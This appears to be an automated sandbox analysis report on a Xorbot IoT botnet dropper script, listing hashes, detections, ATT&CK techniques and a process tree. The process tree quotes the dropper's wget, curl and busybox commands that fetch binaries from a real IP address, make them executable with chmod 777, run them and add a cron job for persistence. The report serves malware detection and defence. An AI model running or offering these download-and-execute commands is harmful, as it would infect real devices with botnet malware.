xorbot | 6be9b943dcfdfa48fd7d9d38cfad2decda4eaad06b64f9602a37da7aa78aef13

Analysis

max time kernel
115s
max time network
144s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
03-12-2024 11:05

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General

Target

bins.sh
Size

10KB
MD5

bfffb3d2e49097085b53b3afde692a37
SHA1

db34a62b3c3e16ac310e1318e02b252a484e5cee
SHA256

6be9b943dcfdfa48fd7d9d38cfad2decda4eaad06b64f9602a37da7aa78aef13
SHA512

81c880c24a598a9c8424aed4497f3bcb2998143b4ab5033f3a10c07ff147123e7c75b4c02630a2a8998400ac7106889750115a30eb84759ddd9da4f0131a8004
SSDEEP

192:5yXQoVEw8wYwOw5wZwnhnzqIw8wYwOw5wZwH9x:5yX9Bb/diCnhnzCb/diCHr

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 3 IoCs

botnet trojan

resource	yara_rule
behavioral4/files/fstream-1.dat	family_xorbot
behavioral4/files/fstream-3.dat	family_xorbot
behavioral4/files/fstream-5.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (1378) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
801	chmod
738	chmod
745	chmod
765	chmod

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4	739	JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4
/tmp/nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel	746	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
/tmp/N4vIlvXFyBQEtXHgb8V9XJNPITZwhFiXD5	767	N4vIlvXFyBQEtXHgb8V9XJNPITZwhFiXD5
/tmp/UMjoNhXEzc48utEDWbXv54DxfS9764N5gh	802	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh

Renames itself 1 IoCs

pid	Process
803	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.d4QTiz	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/821/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/865/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/894/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/915/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/311/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/684/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/845/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/1022/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/13/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/14/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/705/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/828/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/951/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/36/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/876/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/1011/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/314/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/791/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/852/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/928/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/874/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/885/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/911/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/385/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/934/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/1008/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/831/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/833/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/931/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/1020/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/37/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/830/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/854/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/888/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/975/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/825/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/835/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/892/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/961/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/992/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/976/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/115/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/224/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/812/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/815/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/948/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/708/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/895/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/907/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/971/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/1007/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/902/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/1000/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/73/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/530/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/813/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/839/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/842/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/10/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/872/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/879/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/901/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
File opened for reading	/proc/1002/cmdline	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh

System Network Configuration Discovery 1 TTPs 6 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
816	wget
742	wget
743	curl
744	busybox
746	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
748	rm

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel	busybox
File opened for modification	/tmp/N4vIlvXFyBQEtXHgb8V9XJNPITZwhFiXD5	wget
File opened for modification	/tmp/N4vIlvXFyBQEtXHgb8V9XJNPITZwhFiXD5	curl
File opened for modification	/tmp/N4vIlvXFyBQEtXHgb8V9XJNPITZwhFiXD5	busybox
File opened for modification	/tmp/UMjoNhXEzc48utEDWbXv54DxfS9764N5gh	wget
File opened for modification	/tmp/UMjoNhXEzc48utEDWbXv54DxfS9764N5gh	curl
File opened for modification	/tmp/JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4	curl
File opened for modification	/tmp/JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4	busybox
File opened for modification	/tmp/UMjoNhXEzc48utEDWbXv54DxfS9764N5gh	busybox
File opened for modification	/tmp/nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel	curl
File opened for modification	/tmp/JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4	wget
File opened for modification	/tmp/nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:708
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:711
- /usr/bin/wget
  wget http://216.126.231.240/bins/JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4
  2⤵
  - Writes file to tmp directory
  PID:716
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4
  2⤵
  - Writes file to tmp directory
  PID:732
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4
  2⤵
  - Writes file to tmp directory
  PID:737
- /bin/chmod
  chmod 777 JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4
  2⤵
  - File and Directory Permissions Modification
  PID:738
- /tmp/JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4
  ./JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4
  2⤵
  - Executes dropped EXE
  PID:739
- /bin/rm
  rm JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4
  2⤵
  PID:741
- /usr/bin/wget
  wget http://216.126.231.240/bins/nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:742
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:743
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:744
- /bin/chmod
  chmod 777 nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
  2⤵
  - File and Directory Permissions Modification
  PID:745
- /tmp/nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
  ./nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:746
- /bin/rm
  rm nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
  2⤵
  - System Network Configuration Discovery
  PID:748
- /usr/bin/wget
  wget http://216.126.231.240/bins/N4vIlvXFyBQEtXHgb8V9XJNPITZwhFiXD5
  2⤵
  - Writes file to tmp directory
  PID:749
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/N4vIlvXFyBQEtXHgb8V9XJNPITZwhFiXD5
  2⤵
  - Writes file to tmp directory
  PID:750
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/N4vIlvXFyBQEtXHgb8V9XJNPITZwhFiXD5
  2⤵
  - Writes file to tmp directory
  PID:761
- /bin/chmod
  chmod 777 N4vIlvXFyBQEtXHgb8V9XJNPITZwhFiXD5
  2⤵
  - File and Directory Permissions Modification
  PID:765
- /tmp/N4vIlvXFyBQEtXHgb8V9XJNPITZwhFiXD5
  ./N4vIlvXFyBQEtXHgb8V9XJNPITZwhFiXD5
  2⤵
  - Executes dropped EXE
  PID:767
- /bin/rm
  rm N4vIlvXFyBQEtXHgb8V9XJNPITZwhFiXD5
  2⤵
  PID:769
- /usr/bin/wget
  wget http://216.126.231.240/bins/UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
  2⤵
  - Writes file to tmp directory
  PID:771
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
  2⤵
  - Writes file to tmp directory
  PID:779
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
  2⤵
  - Writes file to tmp directory
  PID:794
- /bin/chmod
  chmod 777 UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
  2⤵
  - File and Directory Permissions Modification
  PID:801
- /tmp/UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
  ./UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:802
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:804
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:806
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:807
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:808
- /bin/rm
  rm UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
  2⤵
  PID:813
- /usr/bin/wget
  wget http://216.126.231.240/bins/DGyMw3seiPZkzjg2U2VRyvfN4BQE42H7LT
  2⤵
  - System Network Configuration Discovery
  PID:816

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4

Filesize
111KB

MD5
ca897a38f23ec23521ce0b1b83f8422d

SHA1
b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

SHA256
043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

SHA512
10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

Download Submit
/tmp/N4vIlvXFyBQEtXHgb8V9XJNPITZwhFiXD5

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/tmp/UMjoNhXEzc48utEDWbXv54DxfS9764N5gh

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

Download Submit
/tmp/nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/var/spool/cron/crontabs/tmp.d4QTiz

Filesize
210B

MD5
4a65276b969127de681045c6a0133fe0

SHA1
1aa4c1c1224ac2af2ef7e50451ac7315f05c2559

SHA256
2bb8221cfbf266804fe9fdf72fb8ef68258e229d15156db5dff40b48ae89aa0e

SHA512
b01850fdada324cfd425d30809401b423c5486dc293bcb665dcea7068c67a82fcaa2970205dfa6ff33a78fb5f02b29876fb79ec823f5c6cc3b8447db1be42d72

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads